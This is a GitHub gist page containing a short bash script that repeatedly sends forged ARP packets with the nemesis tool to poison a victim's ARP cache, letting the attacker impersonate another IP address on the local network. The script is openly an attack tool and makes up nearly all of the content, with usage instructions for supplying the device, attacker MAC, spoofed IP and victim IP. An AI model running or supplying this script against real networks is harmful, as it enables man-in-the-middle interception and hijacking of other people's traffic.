Skip to content

Instantly share code, notes, and snippets.

@aniketpant
Forked from NickStephens/arp_poison
Created May 11, 2013 02:09
Show Gist options
  • Save aniketpant/5558638 to your computer and use it in GitHub Desktop.
Save aniketpant/5558638 to your computer and use it in GitHub Desktop.
#!/bin/bash
# perform an arp cache poisoning attack with nemesis
# http://nemesis.sourceforge.net/
[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0
while true
do
nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4
sleep 1s
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment